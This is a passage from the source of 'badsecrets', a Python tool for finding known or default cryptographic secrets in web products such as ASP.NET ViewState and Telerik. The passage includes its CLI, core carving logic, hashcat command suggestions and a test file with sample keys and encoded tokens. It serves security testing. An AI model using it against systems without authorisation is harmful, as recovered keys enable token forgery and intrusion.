"http://example.com/noviewstate.aspx"]) 196 | blacklist3r.main() 197 | captured2 = capsys.readouterr() 198 | assert "Did not find viewstate in repsonse from URL" in captured2.out 199 | 200 | # URL Mode - Validly formatted URL is not responding 201 | monkeypatch.setattr("sys.argv", ["python", "--url", "http://notreal.com"]) 202 | blacklist3r.main() 203 | captured2 = capsys.readouterr() 204 | assert "Error connecting to URL" in captured2.out 205 | -------------------------------------------------------------------------------- /badsecrets/examples/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # badsecrets - command line interface 3 | # Black Lantern Security - https://www.blacklanternsecurity.com 4 | # @paulmmueller 5 | 6 | from badsecrets.base import check_all_modules, carve_all_modules, hashcat_all_modules 7 | from badsecrets.helpers import print_status 8 | import requests 9 | import argparse 10 | import sys 11 | import os 12 | import re 13 | from importlib.metadata import version, PackageNotFoundError 14 | 15 | 16 | from urllib3.exceptions import InsecureRequestWarning 17 | 18 | # Suppress only the single warning from urllib3 needed. 19 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 20 | 21 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 22 | sys.path.append(os.path.dirname(SCRIPT_DIR)) 23 | 24 | ascii_art_banner = r""" 25 | __ ) | | 26 | __ \ _` | _` | __| _ \ __| __| _ \ __| __| 27 | | | ( | ( | \__ \ __/ ( | __/ | \__ \ 28 | ____/ \__,_| \__,_| ____/ \___| \___| _| \___| \__| ____/ 29 | """ 30 | 31 | 32 | def print_version(): 33 | try: 34 | version_str = version("badsecrets") 35 | except PackageNotFoundError: 36 | version_str = "Unknown (Running w/poetry?)" 37 | print(f"Version - {version_str}\n") 38 | 39 | 40 | class CustomArgumentParser(argparse.ArgumentParser): 41 | def error(self, message): 42 | self.print_usage() 43 | self.exit(1) 44 | 45 | 46 | class BaseReport: 47 | def __init__(self, x): 48 | self.x = x 49 | 50 | def print_report(self, report_message): 51 | print(report_message) 52 | print(f"Detecting Module: {self.x['detecting_module']}\n") 53 | print(f"Product Type: {self.x['description']['product']}") 54 | print(f"Product: {self.x['product']}") 55 | print(f"Secret Type: {self.x['description']['secret']}") 56 | print(f"Location: {self.x['location']}") 57 | 58 | 59 | class ReportSecret(BaseReport): 60 | def report(self): 61 | self.print_report(print_status("Known Secret Found!\n", color="green", passthru=True)) 62 | print_status(f"Secret: {self.x['secret']}", color="green") 63 | severity = self.x["description"]["severity"] 64 | if severity in ["CRITICAL", "HIGH"]: 65 | severity_color = "red" 66 | elif severity in ["LOW", "MEDIUM"]: 67 | severity_color = "yellow" 68 | elif severity == "INFO": 69 | severity_color = "blue" 70 | print_status(f"Severity: {self.x['description']['severity']}", color=severity_color) 71 | print(f"Details: {self.x['details']}\n") 72 | 73 | 74 | class ReportIdentify(BaseReport): 75 | def report(self): 76 | self.print_report( 77 | print_status("Cryptographic Product Identified (no vulnerability)\n", color="yellow", passthru=True) 78 | ) 79 | if self.x["hashcat"] is not None: 80 | print_hashcat_results(self.x["hashcat"]) 81 | 82 | 83 | def validate_url( 84 | arg_value, 85 | pattern=re.compile( 86 | r"^https?://((?:[A-Z0-9_]|[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_])[\.]?)+(?:[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_]|[A-Z0-9_])(?::[0-9]{1,5})?.*$", 87 | re.IGNORECASE, 88 | ), 89 | ): 90 | if not pattern.match(arg_value): 91 | raise argparse.ArgumentTypeError(print_status("URL is not formatted correctly", color="red")) 92 | return arg_value 93 | 94 | 95 | def validate_file(file): 96 | if not os.path.exists(file): 97 | raise argparse.ArgumentTypeError(print_status(f"The file {file} does not exist!", color="red")) 98 | if not os.path.isfile(file): 99 | raise argparse.ArgumentTypeError(print_status(f"{file} is not a valid file!", color="red")) 100 | if os.path.getsize(file) > 100 * 1024: # size in bytes 101 | raise argparse.ArgumentTypeError( 102 | print_status(f"The file {file} exceeds the maximum limit of 100KB!", color="red") 103 | ) 104 | return file 105 | 106 | 107 | def print_hashcat_results(hashcat_candidates): 108 | if hashcat_candidates: 109 | print_status("\nPotential matching hashcat commands:\n", color="yellow") 110 | for hc in hashcat_candidates: 111 | print( 112 | f"Module: [{hc['detecting_module']}] {hc['hashcat_description']} Command: [{hc['hashcat_command']}]\n" 113 | ) 114 | 115 | 116 | def main(): 117 | global colorenabled 118 | colorenabled = False 119 | color_parser = argparse.ArgumentParser(add_help=False) 120 | 121 | color_parser.add_argument( 122 | "-nc", 123 | "--no-color", 124 | action="store_true", 125 | help="Disable color message in the console", 126 | ) 127 | 128 | args, unknown_args = color_parser.parse_known_args() 129 | colorenabled = not args.no_color 130 | 131 | parser = CustomArgumentParser( 132 | description="Check cryptographic products against badsecrets library", parents=[color_parser] 133 | ) 134 | 135 | if colorenabled: 136 | print_status(ascii_art_banner, color="green") 137 | 138 | else: 139 | print(ascii_art_banner) 140 | print_version() 141 | 142 | parser.add_argument( 143 | "-u", 144 | "--url", 145 | type=validate_url, 146 | help="Use URL Mode. Specified the URL of the page to access and attempt to check for secrets", 147 | ) 148 | 149 | parser.add_argument( 150 | "-nh", 151 | "--no-hashcat", 152 | action="store_true", 153 | help="Skip the check for compatable hashcat commands when secret isn't found", 154 | ) 155 | 156 | parser.add_argument( 157 | "-c", 158 | "--custom-secrets", 159 | type=validate_file, 160 | help="include a custom secrets file to load along with the default secrets", 161 | ) 162 | 163 | parser.add_argument("product", nargs="*", type=str, help="Cryptographic product to check for known secrets") 164 | 165 | parser.add_argument( 166 | "-p", 167 | "--proxy", 168 | help="In URL mode, Optionally specify an HTTP proxy", 169 | ) 170 | 171 | parser.add_argument( 172 | "-a", 173 | "--user-agent", 174 | help="In URL mode, Optionally set a custom user-agent", 175 | ) 176 | 177 | parser.add_argument( 178 | "-r", 179 | "--allow-redirects", 180 | action="store_true", 181 | help="Optionally follow HTTP redirects. Off by default", 182 | ) 183 | 184 | args = parser.parse_args(unknown_args) 185 | 186 | if not args.url and not args.product: 187 | parser.error( 188 | print_status( 189 | "Either supply the product as a positional argument (supply all products for multi-product modules), use --hashcat followed by the product as a positional argument, or use --url mode with a valid URL", 190 | color="red", 191 | ) 192 | ) 193 | return 194 | 195 | if args.url and args.product: 196 | parser.error(print_status("In --url mode, no positional arguments should be used", color="red")) 197 | return 198 | 199 | allow_redirects = False 200 | if args.allow_redirects: 201 | allow_redirects = True 202 | 203 | proxies = None 204 | if args.proxy: 205 | proxies = {"http": args.proxy, "https": args.proxy} 206 | 207 | custom_resource = None 208 | if args.custom_secrets: 209 | custom_resource = args.custom_secrets 210 | print_status(f"Including custom secrets list [{custom_resource}]\n", color="yellow") 211 | 212 | if args.url: 213 | headers = {} 214 | if args.user_agent: 215 | headers["User-agent"] = args.user_agent 216 | 217 | try: 218 | res = requests.get( 219 | args.url, proxies=proxies, headers=headers, verify=False, allow_redirects=allow_redirects 220 | ) 221 | except (requests.exceptions.ConnectionError, requests.exceptions.ConnectTimeout): 222 | print_status(f"Error connecting to URL: [{args.url}]", color="red") 223 | return 224 | 225 | r_list = carve_all_modules(requests_response=res, custom_resource=custom_resource, url=args.url) 226 | if r_list: 227 | for r in r_list: 228 | if r["type"] == "SecretFound": 229 | report = ReportSecret(r) 230 | else: 231 | if not args.no_hashcat: 232 | hashcat_candidates = hashcat_all_modules(r["product"], detecting_module=r["detecting_module"]) 233 | if hashcat_candidates: 234 | r["hashcat"] = hashcat_candidates 235 | report = ReportIdentify(r) 236 | report.report() 237 | else: 238 | print_status("No secrets found :(", color="red") 239 | 240 | else: 241 | x = check_all_modules(*args.product, custom_resource=custom_resource) 242 | if x: 243 | report = ReportSecret(x) 244 | report.report() 245 | else: 246 | print_status("No secrets found :(", color="red") 247 | if not args.no_hashcat: 248 | hashcat_candidates = hashcat_all_modules(*args.product) 249 | if hashcat_candidates: 250 | print_hashcat_results(hashcat_candidates) 251 | 252 | 253 | if __name__ == "__main__": 254 | main() 255 | -------------------------------------------------------------------------------- /badsecrets/base.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import gzip 4 | import base64 5 | import hashlib 6 | import binascii 7 | import requests 8 | import badsecrets.errors 9 | from abc import abstractmethod 10 | 11 | generic_base64_regex = re.compile( 12 | r"^(?:[A-Za-z0-9+\/]{4}){8,}(?:[A-Za-z0-9+\/]{4}|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{2}={2})$" 13 | ) 14 | 15 | 16 | class BadsecretsBase: 17 | identify_regex = re.compile(r".+") 18 | description = {"product": "Undefined", "secret": "Undefined", "severity": "Undefined"} 19 | 20 | hash_sizes = {"SHA1": 20, "MD5": 16, "SHA256": 32, "SHA384": 48, "SHA512": 64} 21 | hash_algs = { 22 | "SHA1": hashlib.sha1, 23 | "MD5": hashlib.md5, 24 | "SHA256": hashlib.sha256, 25 | "SHA384": hashlib.sha384, 26 | "SHA512": hashlib.sha512, 27 | "AES": hashlib.sha1, 28 | "3DES": hashlib.sha1, 29 | } 30 | 31 | check_secret_args = 1 32 | validate_carve = True 33 | 34 | def __init__(self, custom_resource=None, **kwargs): 35 | self.custom_resource = custom_resource 36 | 37 | if self.custom_resource: 38 | if not os.path.exists(self.custom_resource): 39 | raise badsecrets.errors.LoadResourceException( 40 | f"Custom resource [{self.custom_resource}] does not exist" 41 | ) 42 | 43 | @abstractmethod 44 | def check_secret(self, secret): 45 | raise NotImplementedError 46 | 47 | @staticmethod 48 | def attempt_decompress(value): 49 | try: 50 | uncompressed = gzip.decompress(base64.b64decode(value)) 51 | except (gzip.BadGzipFile, binascii.Error, ValueError): 52 | return False 53 | return uncompressed 54 | 55 | @classmethod 56 | def get_description(self): 57 | return self.description 58 | 59 | def get_product_from_carve(self, regex_search): 60 | return regex_search.groups()[0] 61 | 62 | def get_hashcat_commands(self, s): 63 | return None 64 | 65 | def load_resources(self, resource_list): 66 | filepaths = [] 67 | if self.custom_resource: 68 | filepaths.append(self.custom_resource) 69 | for r in resource_list: 70 | filepaths.append(f"{os.path.dirname(os.path.abspath(__file__))}/resources/{r}") 71 | for filepath in filepaths: 72 | with open(filepath) as r: 73 | for l in r.readlines(): 74 | if len(l) > 0: 75 | yield l 76 | 77 | def carve_to_check_secret(self, s, **kwargs): 78 | if s.groups(): 79 | r = self.check_secret(s.groups()[0]) 80 | return r 81 | 82 | @abstractmethod 83 | def carve_regex(self): 84 | return None 85 | 86 | def carve(self, body=None, cookies=None, headers=None, requests_response=None, **kwargs): 87 | results = [] 88 | 89 | if not body and not cookies and not headers and requests_response == None: 90 | raise badsecrets.errors.CarveException("Either body/headers/cookies or requests_response required") 91 | 92 | if requests_response != None: 93 | if body or cookies or headers: 94 | raise badsecrets.errors.CarveException("Body/cookies/headers and requests_response cannot both be set") 95 | 96 | if type(requests_response) == requests.models.Response: 97 | if not cookies: 98 | cookies = ( 99 | requests_response.cookies.get_dict() if hasattr(requests_response.cookies, "get_dict") else {} 100 | ) 101 | if not headers: 102 | headers = requests_response.headers 103 | if not body and hasattr(requests_response, "text"): 104 | body = requests_response.text 105 | else: 106 | raise badsecrets.errors.CarveException("requests_response must be a requests.models.Response object") 107 | 108 | if cookies: 109 | if type(cookies) != dict: 110 | raise badsecrets.errors.CarveException("Header argument must be type dict") 111 | for k, v in cookies.items(): 112 | r = self.check_secret(v) 113 | if r: 114 | r["type"] = "SecretFound" 115 | r["product"] = v 116 | r["location"] = "cookies" 117 | results.append(r) 118 | 119 | if headers: 120 | for header_value in headers.values(): 121 | 122 | # Check if we have a match outright 123 | r = self.check_secret(header_value) 124 | if r: 125 | r["type"] = "SecretFound" 126 | r["product"] = header_value 127 | r["location"] = "headers" 128 | results.append(r) 129 | # If we dont, we will only be able to add context if we have a match with carve_regex() 130 | elif self.carve_regex(): 131 | s = re.search(self.carve_regex(), header_value) 132 | if s: 133 | if not self.validate_carve or self.identify(s.groups()[0]): 134 | r = self.carve_to_check_secret(s) 135 | if r: 136 | r["type"] = "SecretFound" 137 | # the carve regex hit but no secret was found 138 | else: 139 | r = {"type": "IdentifyOnly"} 140 | r["hashcat"] = self.get_hashcat_commands(s.groups()[0]) 141 | if "product" not in r.keys(): 142 | r["product"] = self.get_product_from_carve(s) 143 | r["location"] = "headers" 144 | results.append(r) 145 | 146 | if body: 147 | if type(body) != str: 148 | raise badsecrets.errors.CarveException("Body argument must be type str") 149 | if self.carve_regex(): 150 | s = re.search(self.carve_regex(), body) 151 | if s: 152 | if not self.validate_carve or self.identify(s.groups()[0]): 153 | r = self.carve_to_check_secret( 154 | s, url=kwargs.get("url", None), body=body, cookies=cookies, headers=headers 155 | ) 156 | if r: 157 | r["type"] = "SecretFound" 158 | else: 159 | r = {"type": "IdentifyOnly"} 160 | r["hashcat"] = self.get_hashcat_commands(s.groups()[0]) 161 | if "product" not in r.keys(): 162 | r["product"] = self.get_product_from_carve(s) 163 | r["location"] = "body" 164 | results.append(r) 165 | 166 | for r in results: 167 | r["description"] = self.get_description() 168 | 169 | # Don't report an IdentifyOnly result if we have a SecretFound result for the same 'product' 170 | secret_found_results = set(d["product"] for d in results if d["type"] == "SecretFound") 171 | return [d for d in results if not (d["type"] == "IdentifyOnly" and d["product"] in secret_found_results)] 172 | 173 | @classmethod 174 | def identify(self, product): 175 | if re.match(self.identify_regex, product): 176 | return True 177 | return False 178 | 179 | @staticmethod 180 | def search_dict(d, query): 181 | items = [key for key, value in d.items() if query == value] 182 | if items: 183 | return items 184 | 185 | 186 | def hashcat_all_modules(product, detecting_module=None, *args): 187 | hashcat_candidates = [] 188 | for m in BadsecretsBase.__subclasses__(): 189 | if detecting_module == m.__name__ or detecting_module == None: 190 | x = m() 191 | if x.identify(product): 192 | hashcat_commands = x.get_hashcat_commands(product) 193 | if hashcat_commands: 194 | for hcc in hashcat_commands: 195 | z = { 196 | "detecting_module": m.__name__, 197 | "hashcat_command": hcc["command"], 198 | "hashcat_description": hcc["description"], 199 | } 200 | hashcat_candidates.append(z) 201 | return hashcat_candidates 202 | 203 | 204 | def check_all_modules(*args, **kwargs): 205 | for m in BadsecretsBase.__subclasses__(): 206 | x = m(custom_resource=kwargs.get("custom_resource", None)) 207 | r = x.check_secret(*args[0 : x.check_secret_args]) 208 | if r: 209 | r["detecting_module"] = m.__name__ 210 | r["description"] = x.get_description() 211 | 212 | # allow the module to provide an amended product, if needed 213 | if "product" not in r.keys(): 214 | r["product"] = args[0] 215 | r["location"] = "manual" 216 | return r 217 | return None 218 | 219 | 220 | def carve_all_modules(**kwargs): 221 | results = [] 222 | for m in BadsecretsBase.__subclasses__(): 223 | x = m(custom_resource=kwargs.get("custom_resource", None)) 224 | r_list = x.carve(**kwargs) 225 | if len(r_list) > 0: 226 | for r in r_list: 227 | r["detecting_module"] = m.__name__ 228 | results.append(r) 229 | if results: 230 | return results 231 | -------------------------------------------------------------------------------- /tests/telerik_hashkey_test.py: -------------------------------------------------------------------------------- 1 | import urllib.parse 2 | from badsecrets import modules_loaded 3 | 4 | Telerik_HashKey = modules_loaded["telerik_hashkey"] 5 | 6 | 7 | tests = [ 8 | ( 9 | "YOUR-SECOND-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP", 10 | "vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3Dz2r1wMUG5YT66qgXyvpZiSYBdpdh2nUvUhGephVuEok%3D", 11 | ), 12 | ( 13 | "F5144F1A581A57BA3B60311AF7562A855998F7DD203CD8A71405599B980D8694B5C986C888BE4FC0E6571C2CE600D58CE82B8FA13106B17D77EA4CECDDBBEC1B", 14 | "vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D", 15 | ), 16 | ] 17 | 18 | 19 | """ 20 | Using the following test keys: 21 | 22 | YOUR-SECOND-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP (from telerik_hash_keys.txt) 23 | F5144F1A581A57BA3B60311AF7562A855998F7DD203CD8A71405599B980D8694B5C986C888BE4FC0E6571C2CE600D58CE82B8FA13106B17D77EA4CECDDBBEC1B (from aspnet_machinekeys.txt) 24 | """ 25 | 26 | 27 | def test_hash_key(): 28 | x = Telerik_HashKey() 29 | for test in tests: 30 | found_key = x.check_secret(test[1]) 31 | assert found_key 32 | assert found_key["secret"] == test[0] 33 | 34 | 35 | def test_hashkey_probe_generator(): 36 | x = Telerik_HashKey() 37 | 38 | # Ensure test probes generated with hashkey_probe_generator are solved with matching key 39 | # Try the first 100 40 | count = 0 41 | for y in x.hashkey_probe_generator(include_machinekeys=True): 42 | found_key = x.check_secret(y[0]) 43 | assert found_key 44 | count += 1 45 | if count >= 100: 46 | break 47 | 48 | 49 | def test_sign_enc_dialog_params(): 50 | test_hashkey = "6YXEG7IH4XYNKdt772p2ni6nbeDT772P2NI6NBE4@" 51 | sample_encrypted_dp_b64_encoded = "y1MPLyncErmvCfYRJDU72NLpEurHW6DfWxGJlfMGTH55vxb8V9m2vrkLDCkDm8%2F1PlVto%2FNCiuCR6ioagdVglig7fQjiAmlEMc7v5RWKx74f8v%2FXxMLhwqLzLkF5YbKbAJO7Rtmhqod1vAzINW2yo16gm7yNseksxi4dSIdiGKVIBuUYiA%2BJrhAlDYfmYrdSA0laWPsYjCyTLWwVipZnPb%2FmOJk%2BMnZC3WD2JLtJyiTTanExxyVsx8SKrKqighnPQCiCLEcBik9FoPNBElJLCIZqizM%2Fy8DYmvyC0bTH7rB6plNMYthd%2F%2FIr7DdRaoJJXHThVbra3BXybA7aiW4fRmuRD0vwiZUV%2BYWaClCgPpZ90YOfwXGlGpVhYfZJPNH%2BeCG2piS6oJPs2AjSUlQuzKn4uN%2F2OZYca8IP%2FkVE0jwU5EUq3uf%2FCmXJ8zNcgmcQXhhxejsn3dEygzw4zzyqR3LAnFQkk3BWtrhEmyNVjCL2y1MgsSTjClmTQzX0UicfQOBv4Vgg9E3EA6rqIdxj%2F7pq7N47X0f4wLByBROlgKj%2BhbuWNKAaZmXhjurQ5uu7WOGwKEmOpEnkTZzyoCFui8S6f3dtbrNw2rwGgo1oz8pD7gDXIXATx66hswuK7tfxjkMab%2FdXBQ3vQTSa5HYNpCWnJu3RunO3sb5OKT%2FtUe061%2BdO%2FcFDNwNiGXQvQ9yuY99w2BtNB7ZOazMl9vGG8lcL4s9yuSMdfG3tcgD4%2BrtHDEL7v0ub14dFxB8TOqY5JMRKdyd8D%2FP46%2BC3pWT61EYaddn3U548w%2FjHz1sXXx6b2lo7%2BYnG1DrRt%2Bk6%2BZt1Wa7UkfYC2b2n4OM2ro%2FqwHBU3FL0LOvBdXDDvlqqMSF4PtYUpO09GaE4TrzKlA%2FFN%2BZ9ibPj%2BmHyanK3GpdsR9S%2BavrhfnL%2BXrI26E5C2GPYOHTlR6u5dqvKJ71%2FCCF%2F%2FdYWbdzS5FVQ25WO6XREomBdvK2gP55Mh3byVUfoli%2F9pNkXytwYVo3yIIICReAuYdbteZN6%2BDJl4rJ5AKTbThpNk6co%2BG6Gl5rYKz1KqV80fqOF4TBlv6cm4kLvS%2FFk2JWD3L5kE8llElj9j4Bq7esFt1I%2Fvvo95guNdrBiiRfh2u7qENi1jfXYNlf1Npth8Vw11vztAq8jssrpMo3cVCKU2aTDkOQWvFBO6tN%2FvpYRCzRJHoy3e0sImQa3rN7wTNedxsadcL%2BHRXuYFFvQpcg5lfngY6lyVkjYPgxc5K4mRKZHDEXGWetFRl5af22wuNiEYmIERrh%2Fq25zBBCTfe2swAKb8hZLjoEy